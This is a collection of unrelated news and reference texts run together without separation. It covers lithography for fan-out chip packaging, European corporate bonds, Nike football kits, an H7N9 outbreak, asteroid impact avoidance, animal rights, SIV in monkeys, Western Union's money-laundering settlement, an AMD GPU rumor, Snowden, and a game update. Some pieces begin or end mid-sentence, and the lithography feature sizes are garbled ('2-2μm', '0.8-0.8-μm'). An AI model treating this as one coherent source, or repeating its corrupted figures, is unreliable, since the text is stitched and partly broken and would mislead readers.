“For greater than 2μm applications, ghi wavelengths (436nm, 405nm and 365nm) are typically used and are usually produced by a broadband spectrum mercury light,” said Rezwan Lateef, vice president and general manager for lithography products at Ultratech.
Beyond 2-2μm, the stepper requires a different configuration. “For 1μm and smaller features, i-line (365nm) only is used to support these fine resolutions,” Lateef said.
Ultratech and others support various wavelengths in the same tool. “You can put a ‘ghi’ wavelength system into an ‘i-only’ mode through the use of an inline filter. This allows the user flexibility to develop recipes to use the most appropriate wavelengths in a seamless, automated fashion,” he said. “So you can use ‘ghi’ wavelength and filter out ‘gh.’ This ability to use selectable wavelengths adds lithography system complexity, but provides the user with flexibility.”
Not all “ghi” tools are alike, however. Some tools are capable of fine lines and spaces, while others struggle to go below 5-5μm, according to analysts.
There are other options. For 2-2μm and beyond, many packaging houses use steppers that are “pure” i-line–they are not shipped with “gh’’ technology. Some i-line steppers are 2X reduction systems that are targeted at 1.5-1.5-μm and below.
Some i-line tools are already processing interposers at 0.8-0.8-μm. “An i-line lithography tool is perfect for this range,” GlobalFoundries’ McCann said.
Regardless of the stepper type, there are several challenges in the packaging flow. For example, “pure” i-line tools are used to process the non-critical layers in a wafer fab. In the fab, the tools process features on flat wafers.
In fan-out, however, it’s a different story. “They are typically reconstituted wafers. They have a lot of warpage. Making sure you have the right depth-of-focus is necessary,” Ultratech’s Lateef said.
Moreover, in fan-out, the dies are embedded in an epoxy mold compound. The placement accuracy of the dies is critical. But at times, the dies move during the process, causing an unwanted effect called die shift. As a result, the fan-out process requires improved alignment techniques with the lithography tools to compensate for die shift.
“The main concerns about smaller geometries in advanced packaging are different depending on wafers or panels,” said Rich Rogoff, vice president and general manager of the Lithography Systems group at Rudolph Technologies. “For both wafers and panels, planarization of the substrates to enable dealing with smaller depth of focus resulting from higher NA is one of the key challenges. Also, tighter registration requirements mean the need for improved alignment and stage systems.”
In one possible solution, Deca Technologies has developed a technology called “adaptive patterning.” The technology is being implemented for its upcoming fan-out line. “One of the challenges within fan-out packaging is the movement of the IC within the reconstituted wafer. Within conventional fan-out packaging processes where masks are employed this misplacement can lead to a lack of interconnect with the bond pad, clearly resulting in a failed unit,” said Garry Pycroft, vice president of sales and marketing for fan-out packaging specialist Deca.
“The adaptive patterning process incorporates an inspection step to determine the shift of the semiconductor within the reconstituted wafer and then adapt the subsequent process steps to handle this shift, thereby resulting in a higher yielding interconnect. The need for adaptive processing becomes even more imperative as you start to work on advanced design rules and multi-die packaging,” Pycroft said.
To be sure, though, cost is also a factor. Prices for a “pure” i-line stepper are higher than a traditional “ghi” system. Therefore, packaging houses need to look at the cost-of-ownership equation. It makes sense to invest in i-line tools if the high-end fan-out market materializes. The risk is that the market never takes off or the products fall short of their expectations.
Other options
Besides steppers, there are other options. For example, Orbotech and Screen Semiconductor Solutions are developing direct imaging systems, which is somewhat like direct-write or maskless lithography.
Screen, also known Dainippon Screen, is targeting its system for the panel-level fan-out market. Meanwhile, Orbotech’s technology is used in the PCB industry. It is also used for IC substrates in packaging.
Orbotech’s laser direct imaging technology uses multiple beams to print features directly on a surface at 8-8μm and below with plans to move to 5-5μm and 2-2μm. “There are many things that you are doing with a stepper for advanced packaging that can be done in a more efficient way with direct imaging,” said Shavi Spinzi, industry marketing director at Orbotech.
Direct imaging has some advantages. “Usually, it’s a multi-beam system in order to meet the right throughput,” Spinzi said. “Instead of using a mask for a stepper or an aligner, you write directly with the laser to form a pattern that you need. Because you don’t use a mask, you can measure the position of the die. And you can, on the fly, calculate the exact positions of the lines you need to draw.”
Another vendor, Suss, is developing another approach called excimer laser ablation. Using 248nm and 308nm wavelengths, Suss’ laser ablation tool enables features at 5-5μm to 2-2μm. Laser ablation can be used in various packaging applications, such as trenches and vias.
Laser ablation is a dry patterning process. The system breaks the molecular structures on the surface. It directly etches the desired circuit pattern.
Laser ablation is promising, but the technology is still immature and needs some work, according to analysts. At the same time, it’s also unclear how far direct imaging will extend.
Clearly, i-line works but cost is a key. All told, packaging houses must find a solution. Otherwise, there is a chance they may miss the high-end fan-out train.
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Electroplating IC PackagesAfter a long mute, over Greek debt drama, European corporate bond market has started to rattle again.
With Greece gone focus now turning on to monetary policy once more. With assurance that European Central Bank (ECB) will be keeping rates at very low level in foreseeable future has kicked of the rally in corporate bonds once more.
Center Parcs has announced a £560m bond today with roadshows taking place over the next few days.
. Belgian textile floor producer Balta is selling a €260m seven-year bond.
. Spanish telecoms infrastructure firm Cellnex is launching an inaugural €500m seven-year bond this week.
June was a terrible month for European bond funds as they experience massive outflows of around € 0.6 billion per week, however moving into July and closing in on Greek debt drama, Outflows have fallen to € 0.15 billion per week. Tide might even turn to positive over coming week.
Average European corporate bond yield has dropped more than 15 basis points to 1.215%, since Greek crisis started settling.
However volatility in the interest rates market is likely to persist as FED hike approaches.Nike Japan has introduced new 2013 home and away football kits for 2012 league champion Sanfrecce Hiroshima, the Urawa Red Diamonds and the Kashima Antlers.
The kits are made from innovative, environmentally friendly materials and feature unique design details tailored to each team. As in previous versions, the kits are built from fabric made from recycled polyester. And for the first time, the kits’ lining features ATOM fabric – a lightweight, double-layered material made from organic cotton and designed to boost comfort, durability, moisture management and elasticity.
Sanfrecce Hiroshima
Sanfrecce Hiroshima’s home kit features the team’s traditional violet color. Its unique color block design is inspired by the body armor worn by Motonari Mori, a warrior from the Aki Province west of Hiroshima during Japan’s Provincial Wars of the 16th century. Violet silicon tape is found on the side of the pants for a unique design detail. The socks feature the team’s symbol of three arrows in jacquard fabric on the calf.
The team’s vivid vermillion and violet away kit design is inspired by the 5-story pagoda structure of the Itsukushima Shinto shrine near the city of Hiroshima. The uniform is designed to help the team show respect for its traditions and culture when playing away from home.
Urawa Red Diamonds
The Urawa Red Diamonds’ new home uniform features the club’s iconic diamond on the front of the jersey in a bold gradation design. A fresh crew neck design is a departure from the collared design the team has worn the past few years, and red silicon tape on the side of the pants is a fresh detail. “URAWA” is stitched in jacquard onto the calf of the socks. The design represents the modern Urawa Red Diamonds while retaining the team’s traditional red, black and white colors.
Urawa’s modern, striking away uniform takes inspiration from the uniform the team wore when it claimed its first major tournament title in 2003. The kit’s vivid emerald color is meant to evoke a deadly poison that strikes fear into the hearts of Urawa’s opponents on the pitch.
Kashima Antlers
The Kashima Antlers’ traditional color combination of deep red and navy blue continues in the new home kit design. The deep red color is inspired by a rose, the official flower of the Ibaraki prefecture. It also evokes the dominating presence of a champion. Navy represents the ocean that surrounds the Kashima region. The body and sleeves of the shirt feature a bold color block design, and varying widths on the borders of the jersey as well as red silicon tape along the side of the pants provide a unique look. "ANTLERS" is stitched in jacquard onto the calf of the socks.
The away uniform is white, a lucky color for the Antlers: The team wore white kits during many of its total 16 championship title victories.
Sanfrecce Hiroshima, Urawa Red Diamonds and Kashima Antlers will debut their new kits on pitch Feb. 23, Feb. 26 and March 2 respectively.
NikeBy Katie Nelson
Image credit Remko Tanis
Two more infections with H7N9 virus have been reported, one case being a 64 year old woman from Shaoyang in Hunan province. This brings the total number of people infected to 121 and the death toll to 23. Chinese citizens now fear that the virus will surface in Guangdong and Hong Kong.
Hunan’s health department reports that the woman had contact with poultry four days before she she began showing symptoms of the virus on April 15. She was diagnosed on Saturday and is currently being hospitalized and receiving antiviral therapy and respiratory support.
A 54 year old pork vendor in Jiangxi province was also confirmed to have contracted the virus yesterday. He developed a fever on April 15 and is currently being treated.
Close contacts of the two patients have been put on medical observation, but so far all appear to be healthy.
The virus has now shown cases in Hunan, Jiangxi and Fujian. Neighboring residents of Guangdong fear that it will soon break there as well.
Researchers are saying that poultry is the main cause of the virus’ spread across china. However, contraction through human-to-human contact is still a possibility.
“In the academic arena, a fast-tracked study, published in medical journal The Lancet, by University of Hong Kong microbiologist Professor Yuen Kwok-yung and Zhejiang University found that further adaptation of the virus could lead to less severe symptoms and more efficient person-to-person transmission,” reports the South China Morning Post.
Experts continue to research the strain in an attempt to find how exactly it is being contracted by humans, and from which mammalian host, as Foreign Policy reports:
According to the WHO’s Chinese Influenza Center, the new H7N9 is a recombinant of a type of influenza (H2N9) that has been spreading for a few years among wild aquatic birds in South Korea and China, an H7N3 found in wild Chinese ducks in 2011, and an H9N2 identified last year in Chinese brambling birds. The new virus is, therefore, a triple recombination.
When these three influenzas blended, the two “mammalian” mutations somehow occurred. One, dubbed ingloriously E627K, changed the virus’s temperature tolerance from 40 degrees Celsius — the normal temperature of a bird body — to 33 C, typical human body heat. The other mutation, Q226L, switched the virus’s hemaggluntinin protein from a form that latches onto a bird’s respiratory tract, which is rich in sialic acids, to a type that locks onto galactose-rich receptors found in the throats and lungs of human beings.
There is a missing link. For the new virus to have acquired these key mutations, it must be infecting a mammalian species of some kind, besides human beings. It had to have picked up those mutations inside a mammalian host. But to date no infected pigs or other mammals have been found, according to the Chinese CDC.
Foreign Policy’s Laure Garret also points out that the majority of cases have been adults over the age of 60.
“It is unlikely this is due to a unique vulnerability in the bodies of over-60 males. Rather, this may be another clue to the identity of the mysterious viral host — behaviorally, elderly Chinese urban men are engaged in some activity that puts them at greater contact with the unknown carrier creature.”"Planetary defense" redirects here. For defending against alien invasion in fiction, see Alien invasion
Artist's impression of a major impact event. The collision between Earth and an asteroid a few kilometres in diameter would release as much energy as the simultaneous detonation of several million nuclear weapons.
Asteroid impact avoidance comprises a number of methods by which near-Earth objects (NEO) could be diverted, preventing destructive impact events. A sufficiently large impact by an asteroid or other NEOs would cause, depending on its impact location, massive tsunamis, multiple firestorms and an impact winter caused by the sunlight-blocking effect of placing large quantities of pulverized rock dust, and other debris, into the stratosphere.
A collision 66 million years ago between the Earth and an object approximately 10 kilometres (6 miles) wide is thought to have produced the Chicxulub crater and the Cretaceous–Paleogene extinction event, widely held responsible for the extinction of most dinosaurs.
While the chances of a major collision are low in the near term, there is a high probability that one will happen eventually unless defensive actions are taken. Astronomical events—such as the Shoemaker-Levy 9 impacts on Jupiter and the 2013 Chelyabinsk meteor, along with the growing number of objects on the Sentry Risk Table—have drawn renewed attention to such threats.
In 2016 a NASA scientist warned that the Earth is unprepared for such an event.[1] In April 2018, the B612 Foundation reported "It's 100 per cent certain we'll be hit [by a devastating asteroid], but we're not 100 per cent sure when."[2][3] Also in 2018, physicist Stephen Hawking, in his final book Brief Answers to the Big Questions, considered an asteroid collision to be the biggest threat to the planet.[4][5][6]
Deflection efforts [ edit ]
According to expert testimony in the United States Congress in 2013, NASA would require at least five years of preparation before a mission to intercept an asteroid could be launched.[7] In June 2018, the US National Science and Technology Council warned that America is unprepared for an asteroid impact event, and developed and released the "National Near-Earth Object Preparedness Strategy Action Plan" to better prepare.[8][9][10][11][12]
Most deflection efforts for a large object require from a year to decades of warning, allowing time to prepare and carry out a collision avoidance project, as no known planetary defense hardware has yet been developed. It has been estimated that a velocity change of just 3.5/t × 10−2 m·s−1 (where t is the number of years until potential impact) is needed to successfully deflect a body on a direct collision trajectory. In addition, under certain circumstances, much smaller velocity changes are needed.[13] For example, it was estimated there was a high chance of 99942 Apophis swinging by Earth in 2029 with a 10−4 probability of passing through a 'keyhole' and returning on an impact trajectory in 2035 or 2036. It was then determined that a deflection from this potential return trajectory, several years before the swing-by, could be achieved with a velocity change on the order of 10−6 ms−1.[14]
An impact by a 10 kilometres (6.2 mi) asteroid on the Earth has historically caused an extinction-level event due to catastrophic damage to the biosphere. There is also the threat from comets entering the inner Solar System. The impact speed of a long-period comet would likely be several times greater than that of a near-Earth asteroid, making its impact much more destructive; in addition, the warning time is unlikely to be more than a few months.[15] Impacts from objects as small as 50 metres (160 ft) in diameter, which are far more common, are historically extremely destructive regionally (see Barringer crater).
Finding out the material composition of the object is also helpful before deciding which strategy is appropriate. Missions like the 2005 Deep Impact probe have provided valuable information on what to expect.
“ REP. STEWART:... are we technologically capable of launching something that could intercept [an asteroid]?... DR. A'HEARN: No. If we had spacecraft plans on the books already, that would take a year... I mean a typical small mission... takes four years from approval to start to launch... ” — Rep. Chris Stewart (R, UT) and Dr. Michael F. A'Hearn, 10 April 2013, United States Congress[7]
Frequency of small asteroids roughly 1 to 20 meters in diameter impacting Earth's atmosphere.
Efforts in asteroid impact prediction have concentrated on the survey method. The 1992 NASA-sponsored Near-Earth-Object Interception Workshop hosted by Los Alamos National Laboratory evaluated issues involved in intercepting celestial objects that could hit Earth.[16] In a 1992 report to NASA,[17] a coordinated Spaceguard Survey was recommended to discover, verify and provide follow-up observations for Earth-crossing asteroids. This survey was expected to discover 90% of these objects larger than one kilometer within 25 years. Three years later, another NASA report[18] recommended search surveys that would discover 60–70% of short-period, near-Earth objects larger than one kilometer within ten years and obtain 90% completeness within five more years.
In 1998, NASA formally embraced the goal of finding and cataloging, by 2008, 90% of all near-Earth objects (NEOs) with diameters of 1 km or larger that could represent a collision risk to Earth. The 1 km diameter metric was chosen after considerable study indicated that an impact of an object smaller than 1 km could cause significant local or regional damage but is unlikely to cause a worldwide catastrophe.[17] The impact of an object much larger than 1 km diameter could well result in worldwide damage up to, and potentially including, extinction of the human species. The NASA commitment has resulted in the funding of a number of NEO search efforts, which made considerable progress toward the 90% goal by 2008. However the 2009 discovery of several NEOs approximately 2 to 3 kilometers in diameter (e.g. 2009 CR 2, 2009 HC 82, 2009 KJ, 2009 MS and 2009 OG) demonstrated there were still large objects to be detected.
United States Representative George E. Brown, Jr. (D-CA) was quoted as voicing his support for planetary defense projects in Air & Space Power Chronicles, saying "If some day in the future we discover well in advance that an asteroid that is big enough to cause a mass extinction is going to hit the Earth, and then we alter the course of that asteroid so that it does not hit us, it will be one of the most important accomplishments in all of human history."
Because of Congressman Brown's long-standing commitment to planetary defense, a U.S. House of Representatives' bill, H.R. 1022, was named in his honor: The George E. Brown, Jr. Near-Earth Object Survey Act. This bill "to provide for a Near-Earth Object Survey program to detect, track, catalogue, and characterize certain near-Earth asteroids and comets" was introduced in March 2005 by Rep. Dana Rohrabacher (R-CA).[19] It was eventually rolled into S.1281, the NASA Authorization Act of 2005, passed by Congress on December 22, 2005, subsequently signed by the President, and stating in part:
The U.S. Congress has declared that the general welfare and security of the United States require that the unique competence of NASA be directed to detecting, tracking, cataloguing, and characterizing near-Earth asteroids and comets in order to provide warning and mitigation of the potential hazard of such near-Earth objects to the Earth. The NASA Administrator shall plan, develop, and implement a Near-Earth Object Survey program to detect, track, catalogue, and characterize the physical characteristics of near- Earth objects equal to or greater than 140 meters in diameter in order to assess the threat of such near-Earth objects to the Earth. It shall be the goal of the Survey program to achieve 90% completion of its near-Earth object catalogue (based on statistically predicted populations of near-Earth objects) within 15 years after the date of enactment of this Act. The NASA Administrator shall transmit to Congress not later than 1 year after the date of enactment of this Act an initial report that provides the following: (A) An analysis of possible alternatives that NASA may employ to carry out the Survey program, including ground-based and space-based alternatives with technical descriptions. (B) A recommended option and proposed budget to carry out the Survey program pursuant to the recommended option. (C) Analysis of possible alternatives that NASA could employ to divert an object on a likely collision course with Earth.
The result of this directive was a report presented to Congress in early March 2007. This was an Analysis of Alternatives (AoA) study led by NASA's Program Analysis and Evaluation (PA&E) office with support from outside consultants, the Aerospace Corporation, NASA Langley Research Center (LaRC), and SAIC (amongst others).
See also Improving impact prediction.
Ongoing projects [ edit ]
Number of NEOs detected by various projects.
NEOWISE – first four years of data starting in December 2013 (animated; April 20, 2018)
The Minor Planet Center in Cambridge, Massachusetts has been cataloging the orbits of asteroids and comets since 1947. It has recently been joined by surveys which specialize in locating the near-Earth objects (NEO), many (as of early 2007) funded by NASA's Near Earth Object program office as part of their Spaceguard program. One of the best-known is LINEAR that began in 1996. By 2004 LINEAR was discovering tens of thousands of objects each year and accounting for 65% of all new asteroid detections.[20] LINEAR uses two one-meter telescopes and one half-meter telescope based in New Mexico.[21]
Spacewatch, which uses a 90 centimeter telescope sited at the Kitt Peak Observatory in Arizona, updated with automatic pointing, imaging, and analysis equipment to search the skies for intruders, was set up in 1980 by Tom Gehrels and Robert S. McMillan of the Lunar and Planetary Laboratory of the University of Arizona in Tucson, and is now being operated by McMillan. The Spacewatch project has acquired a 1.8 meter telescope, also at Kitt Peak, to hunt for NEOs, and has provided the old 90 centimeter telescope with an improved electronic imaging system with much greater resolution, improving its search capability.[22]
Other near-Earth object tracking programs include Near-Earth Asteroid Tracking (NEAT), Lowell Observatory Near-Earth-Object Search (LONEOS), Catalina Sky Survey, Campo Imperatore Near-Earth Object Survey (CINEOS), Japanese Spaceguard Association, and Asiago-DLR Asteroid Survey.[23] Pan-STARRS completed telescope construction in 2010, and it is now actively observing.
The Asteroid Terrestrial-impact Last Alert System, now in operation, conducts frequent scans of the sky with a view to later-stage detection on the collision stretch of the asteroid orbit. Those would be much too late for deflection, but still in time for evacuation and preparation of the affected Earth region.
Another project, supported by the European Union, is NEOShield,[24] which analyses realistic options for preventing the collision of a NEO with Earth. Their aim is to provide test mission designs for feasible NEO mitigation concepts.The project particularly emphasises on two aspects.[24]
The first one is the focus on technological development on essential techniques and instruments needed for guidance, navigation and control (GNC) in close vicinity of asteroids and comets. This will, for example, allow hitting such bodies with a high-velocity kinetic impactor spacecraft and observing them before, during and after a mitigation attempt, e.g., for orbit determination and monitoring. The second one focuses on refining Near Earth Object (NEO) characterisation. Moreover, NEOShield-2 will carry out astronomical observations of NEOs, to improve the understanding of their physical properties, concentrating on the smaller sizes of most concern for mitigation purposes, and to identify further objects suitable for missions for physical characterisation and NEO deflection demonstration.[25]
"Spaceguard" is the name for these loosely affiliated programs, some of which receive NASA funding to meet a U.S. Congressional requirement to detect 90% of near-Earth asteroids over 1 km diameter by 2008.[26] A 2003 NASA study of a follow-on program suggests spending US$250–450 million to detect 90% of all near-Earth asteroids 140 meters and larger by 2028.[27]
NEODyS is an online database of known NEOs.
Sentinel Mission [ edit ]
The B612 Foundation is a private nonprofit foundation with headquarters in the United States, dedicated to protecting the Earth from asteroid strikes. It is led mainly by scientists, former astronauts and engineers from the Institute for Advanced Study, Southwest Research Institute, Stanford University, NASA and the space industry.
As a non-governmental organization it has conducted two lines of related research to help detect NEOs that could one day strike the Earth, and find the technological means to divert their path to avoid such collisions. The foundation's current goal is to design and build a privately financed asteroid-finding space telescope, Sentinel, to be launched in 2017–2018. The Sentinel's infrared telescope, once parked in an orbit similar to that of Venus, will help identify threatening NEOs by cataloging 90% of those with diameters larger than 140 metres (460 ft), as well as surveying smaller Solar System objects.[28][29][30]
Data gathered by Sentinel will help identify asteroids and other NEOs that pose a risk of collision with Earth, by being forwarded to scientific data-sharing networks, including NASA and academic institutions such as the Minor Planet Center.[29][30][31] The foundation also proposes asteroid deflection of potentially dangerous NEOs by the use of gravity tractors to divert their trajectories away from Earth,[32][33] a concept co-invented by the organization's CEO, physicist and former NASA astronaut Ed Lu.[34]
Prospective projects [ edit ]
Orbit@home intends to provide distributed computing resources to optimize search strategy. On February 16, 2013, the project was halted due to lack of grant funding.[35] However, on July 23, 2013, the orbit@home project was selected for funding by NASA's Near Earth Object Observation program and was to resume operations sometime in early 2014. As of July 13, 2018, the project is offline according to its website.[36]
The Large Synoptic Survey Telescope, currently under construction, is expected to perform a comprehensive, high-resolution survey starting in the early 2020s.
Detection from space [ edit ]
On November 8, 2007, the House Committee on Science and Technology's Subcommittee on Space and Aeronautics held a hearing to examine the status of NASA's Near-Earth Object survey program. The prospect of using the Wide-field Infrared Survey Explorer was proposed by NASA officials.[37]
WISE surveyed the sky in the infrared band at a very high sensitivity. Asteroids that absorb solar radiation can be observed through the infrared band. It was used to detect NEOs, in addition to performing its science goals. It is projected that WISE could detect 400 NEOs (roughly two percent of the estimated NEO population of interest) within the one-year mission.
NEOSSat, the Near Earth Object Surveillance Satellite, is a microsatellite launched in February 2013 by the Canadian Space Agency (CSA) that will hunt for NEOs in space.[38][39] Further, Near-Earth Object WISE (NEOWISE), an extension of the WISE mission, started in September 2013, to hunt asteroids and comets close to the orbit of Earth.[40]
Deep Impact [ edit ]
Research published in the March 26, 2009 issue of the journal Nature, describes how scientists were able to identify an asteroid in space before it entered Earth's atmosphere, enabling computers to determine its area of origin in the Solar System as well as predict the arrival time and location on Earth of its shattered surviving parts. The four-meter-diameter asteroid, called 2008 TC 3, was initially sighted by the automated Catalina Sky Survey telescope, on October 6, 2008. Computations correctly predicted that it would impact 19 hours after discovery and in the Nubian Desert of northern Sudan.[41]
A number of potential threats have been identified, such as 99942 Apophis (previously known by its provisional designation 2004 MN 4 ), which in 2009 temporarily had an impact probability of about 3% for the year 2029. Additional observations revised this probability down to zero.[42]
Impact probability calculation pattern [ edit ]
Why asteroid impact probability often goes up, then down.
The ellipses in the diagram on the right show the predicted position of an example asteroid at closest Earth approach. At first, with only a few asteroid observations, the error ellipse is very large and includes the Earth. Further observations shrink the error ellipse, but it still includes the Earth. This raises the predicted impact probability, since the Earth now covers a larger fraction of the error region. Finally, yet more observations (often radar observations, or discovery of a previous sighting of the same asteroid on archival images) shrink the ellipse revealing that the Earth is outside the error region, and the impact probability is near zero.[43]
For asteroids that are actually on track to hit Earth the predicted probability of impact continues to increase as more observations are made. This very similar pattern makes it difficult to differentiate between asteroids which will only come close to Earth and those which will actually hit it. This in turn makes it difficult to decide when to raise an alarm as gaining more certainty takes time, which reduces the time available to react to a predicted impact. However raising the alarm too soon has the danger of causing a false alarm and creating a Boy Who Cried Wolf effect if the asteroid in fact misses Earth.
Collision avoidance strategies [ edit ]
Various collision avoidance techniques have different trade-offs with respect to metrics such as overall performance, cost, operations, and technology readiness.[44] There are various methods for changing the course of an asteroid/comet.[45] These can be differentiated by various types of attributes such as the type of mitigation (deflection or fragmentation), energy source (kinetic, electromagnetic, gravitational, solar/thermal, or nuclear), and approach strategy (interception,[46][47] rendezvous, or remote station).
Strategies fall into two basic sets: destruction and delay.[45][48] Fragmentation concentrates on rendering the impactor harmless by fragmenting it and scattering the fragments so that they miss the Earth or burn up in the atmosphere. Delay exploits the fact that both the Earth and the impactor are in orbit. An impact occurs when both reach the same point in space at the same time, or more correctly when some point on Earth's surface intersects the impactor's orbit when the impactor arrives. Since the Earth is approximately 12,750 km in diameter and moves at approx. 30 km per second in its orbit, it travels a distance of one planetary diameter in about 425 seconds, or slightly over seven minutes. Delaying, or advancing the impactor's arrival by times of this magnitude can, depending on the exact geometry of the impact, cause it to miss the Earth.[49]
Collision avoidance strategies can also be seen as either direct, or indirect and in how rapidly they transfer energy to the object. The direct methods, such as nuclear explosives, or kinetic impactors, rapidly intercept the bolide's path. Direct methods are preferred because they are generally less costly in time and money. Their effects may be immediate, thus saving precious time. |
are as people. On the contrary, future advancements for animals could help enlighten and benefit us, similar to how recognizing the rights of women and girls has also helped men and boys – as we have seen in the fight against sexual violence and in other areas of society.
While further progress needs to be made on behalf of vulnerable human populations, the rights of people and animals are not mutually exclusive. This is not a zero-sum game. On the contrary, there is common ground occupied by those working on behalf of people and animals – both because of the shared potential for suffering and because many solutions to successfully combat domination, violence, and abuse are universal.
At the heart of every human rights resolution is a conviction that we, as humans, should not be unjustly imprisoned or suffer torture and other trespasses. There is no sound reason this conviction shouldn’t also apply to animals like the orcas at SeaWorld or the Ringling Brothers elephants. Animals have qualities we find important to the legal rights of humans – like self-awareness, the need for sovereignty, and the capacity for suffering,, and. We will never fully dismantle the injustices humans suffer without deconstructing the same problems that lead to animal suffering.
Ultimately, we are left with the question of "How we will treat those who are most vulnerable to us – human and otherwise. How will we answer? And what if we don’t answer adequately or soon enough?"
As we’ve seen with SeaWorld, an impassioned public response can make all the difference in the world. The time is now for accepting that justice for animals is the social movement of our time and we all need to do something to make this a reality right now.Two studies published this month in the Journal of Clinical Investigation provide a significant advance in understanding how some species of monkeys such as sooty mangabeys and African green monkeys avoid AIDS when infected with SIV, the simian equivalent of HIV.
Using comparative genomics of SIV infection, researchers at the University of Pennsylvania School of Medicine, with collaborators from University of Minnesota, the University of Toronto, and Emory University, looked at sooty mangabeys, and a second group at the Pasteur Institute in France, looked at African green monkeys to identify possible genes related to disease progression or resistance.
"Sooty mangabeys are able to rapidly shut down the immune response after the initial SIV infection, and remain healthy. The mangabeys respond to SIV in a manner similar to rhesus macaques, which get sick, or to humans infected with HIV, but the mangabeys do not get sick," says first author Steven E. Bosinger, PhD, a postdoctoral fellow in the Department of Pathology and Laboratory Medicine.
"The Penn study is a step forward in understanding why some African monkeys do not get sick when they are infected with SIV, which is a key question in contemporary AIDS research," says senior author Guido Silvestri, MD, associate professor of Pathology and Laboratory Medicine and Director of Clinical Virology.
The Penn study compared changes induced by SIV infection on the overall profile of gene expression in two species of monkeys: rhesus macaques, which undergo an AIDS-like disease when infected with SIV, and sooty mangabeys, which, in stark contrast, remain AIDS-free despite life-long infection. Sooty mangabeys, which are native to Western Africa and infected naturally in the wild, were previously believed by some to remain asymptomatic because of a genetic inability to mount innate immune responses to SIV, and in particular, to produce type I interferons.
However, the current studies change the way AIDS researchers think about human versus simian AIDS infection. The sooty mangabeys' robust antiviral immune response upon SIV infection, including a massive up-regulation of interferon response genes, or ISGs, indicates production of type I interferons in the mangabeys. Of note, this antiviral response is transient, as seen in sooty mangabeys, lasting for about four weeks, but remains constant over time in rhesus macaques, which may contribute to the immunodeficiency seen in this species. SIV induces a massive activation of immune molecules in both species, but only sooty mangabeys are able to bring the response under control.
In addition, by comparing the changes induced by SIV infection on the overall profile of gene expression of rhesus macaques versus sooty mangabeys, the research teams identified genes whose expression may be responsible for disease progression or, alternatively, disease resistance. These genes may provide novel targets for AIDS therapy.
The research was funded by the National Institute of Allergy and Infectious Diseases.New York (AFP) - Global payments company Western Union will pay $586 million to settle a US criminal investigation that found it had a weak anti-money laundering program and looked the other way when employees collaborated in fraud.
The settlement, which includes a deferred prosecution agreement, concerns violations uncovered between 2004 and 2012 in which the company failed to adequately safeguard its money transfer system from transactions that could have supported illicit activity such as human trafficking, drug dealing and other crimes.
The settlement covers investigations by the US Justice Department and Federal Trade Commission.
The agencies found instances where fraudsters posed as family members and sought funds for promised prizes or job opportunities.
Various Western Union agents participated in the scam in exchange for a portion of the proceeds, the Justice Department said in a press release. And when Western Union became aware of the wrongdoing, it failed to terminate or take action against the employees.
Western Union employees also worked to help customers get around requirements to file a currency transaction report when more than $10,000 is wired to a client in a single day.
Western Union sent hundreds of millions of dollars to China in transactions designed to avoid the US Bank Secrecy Act that included large sums for human smuggling, investigators said.
"As this case shows, wiring money can be the fastest way to send it -- directly into the pockets of criminals and scam artists," said acting assistant Attorney General David Bitkower. "Western Union is now paying the price for placing profits ahead of its own customers."
The agency will "work to recoup losses and compensate victims."
Western Union said it has boosted spending on compliance by 200 percent and now spends about $200 million with about 20 percent of its staff dedicated to the oversight. It said its performance in detecting fraud has improved markedly since the period in question and that the dollar value connected to fraud relative to overall activity has fallen by 60 percent.
"We share the government's goal of protecting consumers and the integrity of our global money transfer network, and we worked hard to resolve these matters with the government," the company said in a statement.
Shares of Western Union fell 2.9 percent in midday trading to $21.22.There's some new chatter in the channels that AMD will be releasing an RX Vega 32 and 28 to replace the current 500 line. The cards would use the smaller Vega11 GPU.
This chatter is based on some RRA certificate spotting that wccftech noticed, coming from South Korea, where the new cards have been spotted. The names are RX Vega 32 and RX Vega 28, just multiply the numbers by 64 shader procs per cluster and you will notice that the cards have 2048 (Vega11 XT) and 1792 (Vega11 Pro) shader processors per card model.
Here's where the story gets weird, it is stated that the cards would be fitted with an expensive 4GB HBM2 chip. That means a 1024-bit wide memory bus. If correct, the products would battle the field where the GeForce GTX 1060 is active.NSA whistleblower Edward Snowden has indicated that he is willing to testify before a Bundestag committee into the widespread US surveillance programmes he helped expose.
On Thursday afternoon the former NSA contractor met German Green MP Hans-Christian Ströbele in Moscow at an undisclosed location. Mr Ströbele said afterwards Mr Snowden had given him a letter for Chancellor Angela Merkel, the contents of which will be revealed at a press conference at lunchtime today in Berlin
The Green politician and two German journalists travelled to Moscow and were collected from their hotel in a minibus by security guards yesterday at 4pm local time. They were then brought to the three-hour meeting, of which a brief mobile phone video of a laughing Mr Snowden and a photograph of him with Mr Ströbele have emerged.
“He made clear that he knows an awful lot,” said Mr Ströbele. “As long as the NSA and its chief, Alexander, doesn’t clear things up, [Snowden] is prepared to come to Germany and testify, though the circumstances have yet to be clarified.”
Leaving Russia, where he was granted asylum in August, could cause difficulties for the 30-year-old exile. If he leaves the country, his asylum will lapse. To testify in Berlin, Germany would have to grant him asylum and ignore an extradition warrant the US has already filed as a precaution.
An offer from Mr Snowden to testify in Berlin presents a dilemma for the government of Angela Merkel. She has criticised NSA spying on German communications, including her own mobile phone, and demanded a full explanation from Washington. Her top foreign adviser flew to Washington on Wednesday to meet high-ranking US officials, at which a no-spy agreement was said to have been discussed.
But her Christian Democratic Union (CDU) has been cautious about backing a full parliamentary inquiry into US surveillance in Germany. After the revelations that the NSA tapped Dr Merkel’s mobile phone, however, the CDU indicated that they would not try to block any Bundestag investigation.
That move has now opened the door to Mr Snowden, a man Mr Ströbele described yesterday as the “principal witness” in any investigation.
It remains to be seen how the German authorities will react to an potential asylum application by Mr Snowden. In July, Berlin rejected the idea of granting him asylum, saying an applicant could only seek asylum in Germany by presenting themselves at the border.
Mr Ströbele and his Green Party have been among the loudest advocates of asylum for Mr Snowden, even suggesting he should be offered a place in Germany’s witness protection programme.We finally put the finishing touches on the video for The Bard’s Tale IV In-Engine Video. The biggest question we get is how we plan to bring the genre forward, and this video should answer the question. Exploring in the world is a major part of the experience and we wanted to make use of the full screen and all that Unreal has to offer to make it as compelling as possible. Once combat starts, the combat shifts out of the first person mode. We are still debating the best ways to present combat as that is ultimately dictated by the final budget, but rest assured it will be party and turn/phase based.
The song you’re hearing was written and performed by multi-award winning Gaelic singer and multi-instrumentalist Julie Fowlis, who you may know from the two songs she contributed to Disney Pixar’s major motion picture, Brave. You may also know her from her own albums, too. Julie Fowlis grew up in a Gaelic-speaking community immersed in Scottish culture, and the songs she will contribute to The Bard’s Tale IV’s soundtrack will make the setting that much richer.
